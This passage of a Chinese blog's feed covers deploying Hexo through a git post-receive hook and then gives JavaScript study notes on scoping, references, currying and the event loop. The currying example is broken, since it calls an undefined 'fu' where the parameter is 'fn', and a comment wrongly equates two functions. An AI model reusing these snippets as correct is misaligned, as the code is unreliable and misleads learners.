class="line">3</span><br></pre></td><td class="code"><pre><span class="line">su git</span><br><span class="line"><span class="built_in">mkdir</span> ~/.ssh</span><br><span class="line">vim ~/.ssh/authorized_keys</span><br></pre></td></tr></table></figure><p>粘贴 本地ssh公匙</p><p>本地测试</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -v git@111.1111.111.111</span><br></pre></td></tr></table></figure><p>若免密登录，成功！</p></blockquote><p>###准备两个目录</p><h4 id="1-网站目录"><a href="#1-网站目录" class="headerlink" title="1.网站目录"></a>1.网站目录</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /www/wwwroot/hexo</span><br><span class="line">chmod -R 755 /www/wwwroot/hexo</span><br></pre></td></tr></table></figure><h4 id="2-git仓库目录"><a href="#2-git仓库目录" class="headerlink" title="2.git仓库目录"></a>2.git仓库目录</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mkdir /home/git/repo</span><br><span class="line">chown -R git:git /home/git/repo</span><br><span class="line">chmod -R 755 /home/git/repo</span><br></pre></td></tr></table></figure><h3 id="创建git钩子"><a href="#创建git钩子" class="headerlink" title="创建git钩子"></a>创建git钩子</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home/git/repo</span><br><span class="line">git init --bare hexo.git</span><br></pre></td></tr></table></figure><h3 id="创建钩子文件"><a href="#创建钩子文件" class="headerlink" title="创建钩子文件"></a>创建钩子文件</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /home/git/repo/hexo.git/hooks/post-receive</span><br></pre></td></tr></table></figure><p>粘贴以下代码</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">git --work-tree=/www/wwwroot/hexo --git-dir=/home/git/repo/hexo.git checkout -f</span><br></pre></td></tr></table></figure><p>改权限<strong>钩子文件</strong>和<strong>两个目录</strong></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R git:git /home/git/repo/hexo.git/hooks/post-receive</span><br><span class="line"><span class="built_in">chmod</span> +x /home/git/repo/hexo.git/hooks/post-receive</span><br><span class="line"></span><br><span class="line"><span class="built_in">chown</span> -R git:git /www/wwwroot/hexo</span><br><span class="line"><span class="built_in">chown</span> -R git:git /home/git/repo</span><br></pre></td></tr></table></figure><h3 id="本地配置"><a href="#本地配置" class="headerlink" title="本地配置"></a>本地配置</h3><p><strong>_config.yml</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">deploy<span class="punctuation">:</span></span><br><span class="line">  type<span class="punctuation">:</span> git</span><br><span class="line">  repo<span class="punctuation">:</span> git@<span class="number">1.1</span><span class="number">.1</span><span class="number">.1</span><span class="punctuation">:</span><span class="number">22</span>/home/git/repo/hexo.git</span><br><span class="line">  branch<span class="punctuation">:</span> master</span><br><span class="line"></span><br></pre></td></tr></table></figure><blockquote><p><em>注</em> 1.1.1.1:22 为服务器IP + SSH访问端口</p></blockquote><p><strong>配置RSS</strong></p><blockquote><p>前置条件</p><ol><li><p>安装 hexo-generator-feed</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-generator-feed --save</span><br></pre></td></tr></table></figure></li></ol></blockquote><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"># rss 生成插件  hexo-generator-feed</span><br><span class="line">feed<span class="punctuation">:</span></span><br><span class="line">    enable<span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    generator<span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    type<span class="punctuation">:</span> atom</span><br><span class="line">    path<span class="punctuation">:</span> atom.xml</span><br><span class="line">    limit<span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">    hub<span class="punctuation">:</span></span><br><span class="line">    content<span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    # content_limit<span class="punctuation">:</span> <span class="number">140</span></span><br><span class="line">    # content_limit_delim<span class="punctuation">:</span> &#x27; &#x27;</span><br><span class="line">    order_by<span class="punctuation">:</span> -date</span><br><span class="line">    # icon<span class="punctuation">:</span> icon.png</span><br><span class="line">    # autodiscovery<span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">    # template<span class="punctuation">:</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">social<span class="punctuation">:</span></span><br><span class="line">    # 其他社交按钮</span><br><span class="line">    RSS<span class="punctuation">:</span> /atom.xml || fa fa-rss</span><br><span class="line"># 与配置文件 链接保持一致</span><br><span class="line">    fas fa-rss<span class="punctuation">:</span> https<span class="punctuation">:</span><span class="comment">//xxx.xx/atom.xml</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="本地启动推送"><a href="#本地启动推送" class="headerlink" title="本地启动推送"></a>本地启动推送</h3><blockquote><p>前置条件</p><ol><li><p>安装 NodeJs，可使用 <a href="https://github.com/nvm-sh/nvm">NVM</a> 进行管理</p></li><li><pre><code class="bash">npm install -g hexo-cli</code></pre></li></ol></blockquote><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo clean</span><br><span class="line">hexo g -d</span><br></pre></td></tr></table></figure><h2 id="主题升级"><a href="#主题升级" class="headerlink" title="主题升级"></a>主题升级</h2><blockquote><p>主题目录下</p></blockquote><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git stash</span><br><span class="line">git pull</span><br><span class="line">git stash pop</span><br></pre></td></tr></table></figure><blockquote><p>若git仓库不安全报错</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git config --global --add safe.directory E:/blog/Hexo/themes/butterfly</span><br></pre></td></tr></table></figure></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Js进阶</title>
    <link href="https://wyy.hair/posts/3f9756f1/"/>
    <id>https://wyy.hair/posts/3f9756f1/</id>
    <published>2024-11-08T13:16:32.000Z</published>
    <updated>2025-10-10T08:34:43.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="JS-进阶"><a href="#JS-进阶" class="headerlink" title="JS 进阶"></a>JS 进阶</h1><h2 id="代码示例"><a href="#代码示例" class="headerlink" title="代码示例"></a>代码示例</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">let</span> x, y</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>()</span><br><span class="line">  &#125; <span class="keyword">catch</span> (x) &#123;</span><br><span class="line">    <span class="comment">// x 为 catch 变量 y 为全局声明变量</span></span><br><span class="line">    (x = <span class="number">1</span>), (y = <span class="number">2</span>)</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(x) <span class="comment">// 1</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(x) <span class="comment">// undefined</span></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(y) <span class="comment">// 2</span></span><br><span class="line">&#125;)()</span><br></pre></td></tr></table></figure><blockquote><p><code>catch</code> 代码块接收参数 <code>x</code>。当我们传递参数时，这与之前定义的变量 <code>x</code> 不同。这个 <code>x</code> 是属于 <code>catch</code> 块级作用域的。</p><p>然后，我们将块级作用域中的变量赋值为 <code>1</code>，同时也设置了变量 <code>y</code> 的值。现在，我们打印块级作用域中的变量 <code>x</code>，值为 <code>1</code>。</p><p><code>catch</code> 块之外的变量 <code>x</code> 的值仍为 <code>undefined</code>，<code>y</code> 的值为 <code>2</code>。当我们在 <code>catch</code> 块之外执行 <code>console.log(x)</code> 时，返回 <code>undefined</code>，<code>y</code> 返回 <code>2</code>。</p></blockquote><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> person = &#123; <span class="attr">name</span>: <span class="string">&quot;Lydia&quot;</span> &#125;;</span><br><span class="line"><span class="keyword">const</span> members = [person];</span><br><span class="line">person = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(members); <span class="comment">// &#123; name: &quot;Lydia&quot; &#125;</span></span><br></pre></td></tr></table></figure><blockquote><p>首先我们声明了一个拥有<code>name</code>属性的对象 <code>person</code>。</p><p><a href="https://camo.githubusercontent.com/05a9214943d6014bf12b6747c1ea3e86739991bf341d976d4a5d739ace3dba83/68747470733a2f2f692e696d6775722e636f6d2f544d4c314d62532e706e67"><img src="https://camo.githubusercontent.com/05a9214943d6014bf12b6747c1ea3e86739991bf341d976d4a5d739ace3dba83/68747470733a2f2f692e696d6775722e636f6d2f544d4c314d62532e706e67" alt="img"></a></p><p>然后我们又声明了一个变量<code>members</code>. 将首个元素赋值为变量<code>person</code>。当设置两个对象彼此相等时，它们会通过 <em>引用</em> 进行交互。但是当你将引用从一个变量分配至另一个变量时，其实只是执行了一个 <em>复制</em> 操作。（注意一点，他们的引用 <em>并不相同</em>!）</p><p><a href="https://camo.githubusercontent.com/676339377dfd027560b166f3cea7b63ddb046163384f1682439755514a7b8974/68747470733a2f2f692e696d6775722e636f6d2f465347354b33462e706e67"><img src="https://camo.githubusercontent.com/676339377dfd027560b166f3cea7b63ddb046163384f1682439755514a7b8974/68747470733a2f2f692e696d6775722e636f6d2f465347354b33462e706e67" alt="img"></a></p><p>接下来我们让<code>person</code>等于<code>null</code>。</p><p><a href="https://camo.githubusercontent.com/7b88bec550ed266b9dd459dd52cb420ad5a0e723b0ebcbbc327b205677e6de93/68747470733a2f2f692e696d6775722e636f6d2f73596a63734d542e706e67"><img src="https://camo.githubusercontent.com/7b88bec550ed266b9dd459dd52cb420ad5a0e723b0ebcbbc327b205677e6de93/68747470733a2f2f692e696d6775722e636f6d2f73596a63734d542e706e67" alt="img"></a></p><p>我们没有修改数组第一个元素的值，而只是修改了变量<code>person</code>的值，因为元素（复制而来）的引用与<code>person</code>不同。<code>members</code>的第一个元素仍然保持着对原始对象的引用。当我们输出<code>members</code>数组时，第一个元素会将引用的对象打印出来。</p></blockquote><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> num = <span class="built_in">parseInt</span>(<span class="string">&quot;7*6&quot;</span>, <span class="number">10</span>) <span class="comment">// 7</span></span><br></pre></td></tr></table></figure><blockquote><p>只返回了字符串中第一个字母。设定了 <em>进制</em> 后 (也就是第二个参数，指定需要解析的数字是什么进制：十进制、十六机制、八进制、二进制等等……),<code>parseInt</code> 检查字符串中的字符是否合法。一旦遇到一个在指定进制中不合法的字符后，立即停止解析并且忽略后面所有的字符。</p><p><code>*</code>就是不合法的数字字符。所以只解析到<code>&quot;7&quot;</code>，并将其解析为十进制的<code>7</code>. <code>num</code>的值即为<code>7</code>.</p></blockquote><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> name = <span class="string">&quot;Lydia&quot;</span>;</span><br><span class="line">age = <span class="number">21</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">delete</span> name); <span class="comment">// false</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">delete</span> age); <span class="comment">// true</span></span><br></pre></td></tr></table></figure><blockquote><p><code>delete</code>操作符返回一个布尔值：<code>true</code>指删除成功，否则返回<code>false</code>. 但是通过 <code>var</code>, <code>const</code> 或 <code>let</code> 关键字声明的变量无法用 <code>delete</code> 操作符来删除。</p><p><code>name</code>变量由<code>const</code>关键字声明，所以删除不成功：返回 <code>false</code>. 而我们设定<code>age</code>等于<code>21</code>时，我们实际上添加了一个名为<code>age</code>的属性给全局对象。对象中的属性是可以删除的，全局对象也是如此，所以<code>delete age</code>返回<code>true</code>.</p></blockquote><p>函数柯里化（Curry）：函数元（参数）降维技术</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">a</span> = (<span class="params">b, c</span>) =&gt; b + c</span><br><span class="line"></span><br><span class="line"><span class="comment">//柯里化</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">a1</span> = b =&gt; <span class="function"><span class="params">c</span> =&gt;</span> b + c      <span class="comment">// a === a1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> curryAdd = <span class="title function_">curry</span>(<span class="function">(<span class="params">a, b, c</span>) =&gt;</span> a + b + c);</span><br><span class="line"></span><br><span class="line"><span class="title function_">curryAdd</span>(<span class="number">1</span>)(<span class="number">2</span>)(<span class="number">3</span>); <span class="comment">// 6</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> curry = <span class="keyword">function</span>(<span class="params">fn</span>)&#123; <span class="comment">// bind(绑定) fn</span></span><br><span class="line">    <span class="keyword">let</span> length = fu.<span class="property">length</span>; <span class="comment">// bind length</span></span><br><span class="line">    <span class="keyword">let</span> params = []; <span class="comment">// bind params</span></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span> <span class="title function_">partial</span>(<span class="params">x</span>)&#123;</span><br><span class="line">        params.<span class="title function_">push</span>(x)</span><br><span class="line">        <span class="keyword">if</span>(params.<span class="property">length</span> == length)&#123; <span class="comment">// 递归终止条件</span></span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">fu</span>(...params); <span class="comment">// use fn</span></span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> partial; <span class="comment">// 返回函数 递归传参</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[y] = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"><span class="comment">// y === 1</span></span><br><span class="line"><span class="comment">// 解构赋值</span></span><br></pre></td></tr></table></figure><p><a href="https://camo.githubusercontent.com/46001b26abb212b7a721f088f513449051f355ad684f7fadef6189b2a2e608d7/68747470733a2f2f692e696d6775722e636f6d2f4e7a476b4d4e6b2e706e67"><img src="https://camo.githubusercontent.com/46001b26abb212b7a721f088f513449051f355ad684f7fadef6189b2a2e608d7/68747470733a2f2f692e696d6775722e636f6d2f4e7a476b4d4e6b2e706e67" alt="img"></a></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// module.js </span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> () =&gt; <span class="string">&quot;Hello world&quot;</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> name = <span class="string">&quot;Lydia&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// index.js </span></span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> data <span class="keyword">from</span> <span class="string">&quot;./module&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(data)</span><br><span class="line"><span class="comment">// 输出</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="attr">default</span>: <span class="keyword">function</span> <span class="title function_">default</span>(<span class="params"></span>),</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&quot;Lydia&quot;</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>类</code> 是 <code>构造函数</code> 的 <code>语法糖</code> 如果用 构造函数 的方式重写 person 类则是：</p> <figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 类</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Preson</span>&#123;</span><br><span class="line">    <span class="title function_">constructor</span>(<span class="params">name</span>) &#123;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">name</span> = name</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 构造函数的方式重写</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Preson</span>(<span class="params">name</span>) &#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">name</span> = name</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> myMap = <span class="keyword">new</span> <span class="title class_">Map</span>()</span><br><span class="line"><span class="keyword">const</span> <span class="title function_">myFunc</span> = (<span class="params"></span>) =&gt; <span class="string">&#x27;greeting&#x27;</span></span><br><span class="line"></span><br><span class="line">myMap.<span class="title function_">set</span>(myFunc, <span class="string">&#x27;Hello world!&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">//1</span></span><br><span class="line">myMap.<span class="title function_">get</span>(<span class="string">&#x27;greeting&#x27;</span>)</span><br><span class="line"><span class="comment">//2</span></span><br><span class="line">myMap.<span class="title function_">get</span>(myFunc) </span><br><span class="line"><span class="comment">//3</span></span><br><span class="line">myMap.<span class="title function_">get</span>(<span class="function">() =&gt;</span> <span class="string">&#x27;greeting&#x27;</span>)</span><br></pre></td></tr></table></figure><blockquote><p>当通过 <code>set</code> 方法添加一个键值对，一个传递给 <code>set</code>方法的参数将会是键名，第二个参数将会是值。在这个 case 里，键名为 <em>函数</em> <code>() =&gt; &#39;greeting&#39;</code>，值为<code>&#39;Hello world&#39;</code>。 <code>myMap</code> 现在就是 <code>&#123; () =&gt; &#39;greeting&#39; =&gt; &#39;Hello world!&#39; &#125;</code>。</p><p>1 是错的，因为键名不是 <code>&#39;greeting&#39;</code> 而是 <code>() =&gt; &#39;greeting&#39;</code>。 3 是错的，因为我们给<code>get</code> 方法传递了一个新的函数。对象受 <em>引用</em> 影响。函数也是对象，因此两个函数严格上并不等价，尽管他们相同：他们有两个不同的<code>内存引用地址</code>。</p></blockquote><p>创建一个新的变量 <code>counterTwo</code> 并将 <code>counOne 的 引用地址 </code>赋值给他（Two、One 指向内存同一个地址）</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line"><span class="title function_">constructor</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">count</span> = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">increment</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">this</span>.<span class="property">count</span>++;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> counterOne = <span class="keyword">new</span> <span class="title class_">Counter</span>();</span><br><span class="line">counterOne.<span class="title function_">increment</span>();</span><br><span class="line">counterOne.<span class="title function_">increment</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> counterTwo = counterOne; <span class="comment">// 注意看内存图解 （下左)</span></span><br><span class="line">counterTwo.<span class="title function_">increment</span>(); <span class="comment">// 下右</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(counterOne.<span class="property">count</span>); <span class="comment">// 3</span></span><br></pre></td></tr></table></figure><p><a href="https://camo.githubusercontent.com/b66ae7f2927221ffda1ffc5e96026475fc937cf75c0f6039828b517eef70a20d/68747470733a2f2f692e696d6775722e636f6d2f424e4248586d632e706e67"><img src="https://camo.githubusercontent.com/b66ae7f2927221ffda1ffc5e96026475fc937cf75c0f6039828b517eef70a20d/68747470733a2f2f692e696d6775722e636f6d2f424e4248586d632e706e67" alt="img"></a></p><p>事件循环机制**<code>event loop</code>**</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> myPromise = <span class="title class_">Promise</span>.<span class="title function_">resolve</span>(<span class="string">&quot;Promise!&quot;</span>);</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">funcOne</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="comment">// 加入微任务队列</span></span><br><span class="line">myPromise.<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> res).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(res+<span class="string">&#x27;1&#x27;</span>));</span><br><span class="line">  myPromise.<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> res).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(res+<span class="string">&#x27;2&#x27;</span>));</span><br><span class="line">myPromise.<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> res).<span class="title function_">then</span>(<span class="function"><span class="params">res</span> =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(res+<span class="string">&#x27;3&#x27;</span>));</span><br><span class="line"><span class="comment">// 加入宏任务队列</span></span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Timeout1!&quot;</span>), <span class="number">0</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Last line1!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">funcTwo</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;two&#x27;</span>);</span><br><span class="line">    <span class="comment">// 第一个 await 阻塞代码 先执行 </span></span><br><span class="line"><span class="keyword">const</span> res = <span class="keyword">await</span> myPromise;</span><br><span class="line">    <span class="comment">// 继续执行script宏任务里的 同步代码</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res+<span class="number">0</span>);</span><br><span class="line">    <span class="comment">// 第二个 await 阻塞代码 加入微任务队列，开始执行微任务队列</span></span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">await</span> res+<span class="number">4</span>);</span><br><span class="line">    <span class="comment">// 加入宏任务队列</span></span><br><span class="line"><span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Timeout2!&quot;</span>), <span class="number">0</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Last line2!&quot;</span>);</span><br><span class="line">    <span class="comment">// 第三个 await 阻塞代码 同第二个await</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">await</span> res+<span class="number">5</span>);</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;Last line3!&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">funcOne</span>();</span><br><span class="line"><span class="title function_">funcTwo</span>(); </span><br><span class="line"><span class="comment">// Last line1! two </span></span><br><span class="line"><span class="comment">// Promise!0(第一个 await 开始执行微任务队列任务，阻塞后面代码，先执行)  微任务队列</span></span><br><span class="line"><span class="comment">// Promise!1  Promise!2  Promise!3  </span></span><br><span class="line"><span class="comment">// Promise!4  微任务队列</span></span><br><span class="line"><span class="comment">// Last line2! </span></span><br><span class="line"><span class="comment">// Promise!5  微任务队列</span></span><br><span class="line"><span class="comment">// Last line3! </span></span><br><span class="line"><span class="comment">// Timeout1 Timeout2  宏任务队列</span></span><br></pre></td></tr></table></figure><h2 id="疑难杂症"><a href="#疑难杂症" class="headerlink" title="疑难杂症"></a>疑难杂症</h2><h3 id="事件循环"><a href="#事件循环" class="headerlink" title="事件循环"></a>事件循环</h3><blockquote><p>JS是一门单线程的语言，这是因为它运行在浏览器的渲染主线程中，而渲染主线程只有一个。</p><p>而渲染主线程承担着诸多的工作，渲染页面、执行 JS 